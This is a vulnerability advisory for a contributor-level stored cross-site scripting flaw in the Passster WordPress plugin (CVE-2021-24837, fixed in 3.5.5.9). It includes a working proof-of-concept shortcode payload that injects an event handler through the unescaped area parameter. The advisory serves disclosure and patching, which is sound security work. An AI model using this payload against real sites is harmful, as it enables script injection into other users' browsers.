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Passster < 3.5.5.8 - Contributor+ Stored Cross-Site Scripting

Description

The plugin does not escape the area parameter of its shortcode, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.

Proof of Concept

[passster password="1" area='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS/)//'] 

Affects Plugins

content-protector
Fixed in version 3.5.5.9

References

CVE
CVE-2021-24837

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID
5fea3ac3-d599-41f3-8f76-08f0d3552af1

Timeline

Publicly Published

2022-12-29 (about 4 months ago)

Added

2022-12-29 (about 4 months ago)

Last Updated

2022-12-29 (about 4 months ago)

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